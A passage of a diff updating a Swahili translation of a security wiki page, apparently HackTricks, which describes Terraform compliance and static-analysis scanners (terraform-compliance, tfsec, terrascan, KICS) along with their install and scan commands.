ufuatiliaji wa sheria dhidi ya terraform ili kuwezesha uwezo wa majaribio hasi kwa miundombinu yako kama msimbo. +Kutoka kwenye [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ni fremu ya mtihani nyepesi iliyolengwa kwenye usalama na ufuataji wa viwango dhidi ya terraform ili kuwezesha uwezo wa upimaji hasi kwa infrastructure-as-code yako. -- **compliance:** Hakikisha kwamba msimbo ulioanzishwa unafuata viwango vya usalama, viwango vyako vya kawaida -- **behaviour driven development:** Tuna BDD kwa karibu kila kitu, kwa nini isiwe kwa IaC? -- **portable:** sakinisha tu kutoka `pip` au uendeshe kupitia `docker`. Tazama [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** inathibitisha msimbo wako kabla ya kupelekwa -- **easy to integrate:** inaweza kukimbia katika mchakato wako (au katika git hooks) ili kuhakikisha kwamba uhamasishaji wote umethibitishwa. -- **segregation of duty:** unaweza kuweka majaribio yako katika hazina tofauti ambapo timu tofauti inawajibika. +- **Uzingatiaji:** Hakikisha msimbo uliotekelezwa unafuata viwango vya usalama na viwango vyako vya desturi +- **Maendeleo yaliyoendeshwa na tabia:** Tuna BDD kwa karibu kila kitu, kwanini si kwa IaC ? +- **Inabebeka:** sakinisha tu kutoka `pip` au iendeshe kupitia `docker`. See [Installation](https://terraform-compliance.com/pages/installation/) +- **Kabla ya deployment:** inathibitisha msimbo wako kabla haujatekelezwa +- **Rahisi kuunganisha:** inaweza kuendeshwa katika pipeline yako (au katika git hooks) kuhakikisha deployments zote zinathibitishwa. +- **Ugawanyo wa majukumu:** unaweza kuweka majaribio yako katika repository tofauti ambapo timu tofauti itawajibika. > [!NOTE] -> Kwa bahati mbaya, ikiwa msimbo unatumia baadhi ya watoa huduma ambao huna ufikiaji nao, huwezi kufanya `terraform plan` na kuendesha chombo hiki. +> Kwa bahati mbaya ikiwa msimbo unatumia providers fulani ambazo huna ufikiaji wa hutaweza kufanya the `terraform plan` na kuendesha zana hii. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -321,44 +348,57 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -Kutoka kwa [**docs**](https://github.com/aquasecurity/tfsec): tfsec inatumia uchambuzi wa statiki wa msimbo wako wa terraform kubaini uwezekano wa makosa ya usanidi. +From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec hutumia static analysis ya terraform code yako kubaini potential misconfigurations. -- ☁️ Inakagua makosa ya usanidi katika watoa huduma wote wakuu (na wengine wadogo) -- ⛔ Mamia ya sheria zilizojengwa ndani -- 🪆 Inachanganua moduli (za ndani na za mbali) -- ➕ Inakadiria maelezo ya HCL pamoja na thamani halisi -- ↪️ Inakadiria kazi za Terraform mfano `concat()` -- 🔗 Inakadiria uhusiano kati ya rasilimali za Terraform -- 🧰 Inafaa na Terraform CDK -- 🙅 Inatumia (na kuimarisha) sera za Rego zilizofafanuliwa na mtumiaji -- 📃 Inasaidia muundo mbalimbali wa matokeo: nzuri (ya default), JSON, SARIF, CSV, CheckStyle, JUnit, maandiko, Gif. -- 🛠️ Inaweza kubadilishwa (kupitia bendera za CLI na/au faili ya usanidi) -- ⚡ Haraka sana, ina uwezo wa kuchanganua haraka hifadhi kubwa +- ☁️ Hupima misconfigurations kwenye watoaji wote wakuu (na baadhi wadogo) wa cloud +- ⛔ Mamia ya kanuni zilizojengwa ndani +- 🪆 Inakagua modules (lokali na za mbali) +- ➕ Inatathmini HCL expressions pamoja na literal values +- ↪️ Inatathmini Terraform functions e.g. `concat()` +- 🔗 Inatathmini uhusiano kati ya Terraform resources +- 🧰 Inalingana na Terraform CDK +- 🙅 Inatumia (na kuboresha) sera za Rego zilizobainishwa na mtumiaji +- 📃 Inaunga mkono multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. +- 🛠️ Inaweza kusanidiwa (kupitia CLI flags na/au config file) +- ⚡ Haraka sana, inaweza kukagua haraka hifadhi kubwa za miradi ```bash brew install tfsec tfsec /path/to/folder ``` +### [terrascan](https://github.com/tenable/terrascan) + +Terrascan ni static code analyzer kwa Infrastructure as Code. Terrascan inakuwezesha: + +- Skana bila mshono Infrastructure as Code kutafuta misconfigurations. +- Fuatilia provisioned cloud infrastructure kwa mabadiliko ya configuration yanayoweza kuleta posture drift, na kutoa uwezo wa kurudisha posture salama. +- Tambua security vulnerabilities na compliance violations. +- Punguza hatari kabla ya provisioning cloud native infrastructure. +- Inatoa kubadilika kuendesha locally au kuunganishwa na CI\CD yako. +```bash +brew install terrascan +terrascan scan -d /path/to/folder +``` ### [KICKS](https://github.com/Checkmarx/kics) -Pata udhaifu wa usalama, masuala ya kufuata sheria, na makosa ya miundombinu mapema katika mzunguko wa maendeleo wa miundombinu yako kama msimbo kwa kutumia **KICS** kutoka Checkmarx. +Gundua udhaifu wa usalama, masuala ya utii, na misanidi potofu ya infrastructure-as-code mapema katika mzunguko wa maendeleo wa mradi wako kwa kutumia **KICS** ya Checkmarx. -**KICS** inasimama kwa **K**uendelea **I**miundombinu kama **C**ode **S**alama, ni chanzo wazi na ni lazima kuwa nacho kwa mradi wowote wa wingu asilia. +**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure; ni chanzo wazi na ni muhimu kwa mradi wowote wa cloud native. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -Kutoka kwenye [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchanganuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha: +From the [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchambuzi wa msimbo tuli kwa ajili ya Infrastructure as Code. Terrascan inakuwezesha: -- Kuchunguza miundombinu kama msimbo kwa makosa ya usanidi bila shida. -- Kufuatilia miundombinu ya wingu iliyotolewa kwa mabadiliko ya usanidi yanayoleta mabadiliko ya msimamo, na kuwezesha kurudi kwenye msimamo salama. -- Kugundua udhaifu wa usalama na ukiukaji wa kufuata sheria. -- Kupunguza hatari kabla ya kutoa miundombinu asilia ya wingu. -- Kutoa uwezekano wa kufanya kazi kwa ndani au kuungana na CI\CD yako. +- Skana Infrastructure as Code kwa urahisi kutafuta mipangilio isiyo sahihi. +- Fuatilia miundombinu ya cloud iliyowekwa kwa mabadiliko ya usanidi yanayosababisha posture drift, na kuwezesha kurudi kwenye hali salama. +- Gundua udhaifu wa usalama na ukiukaji wa vigezo vya compliance. +- Punguza hatari kabla ya kutayarisha miundombinu ya cloud-native. +- Inatoa unyumbufu wa kuendesha lokali au kuungana na CI\CD yako. ```bash brew install terrascan ``` -## Marejeleo +## Marejeo - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)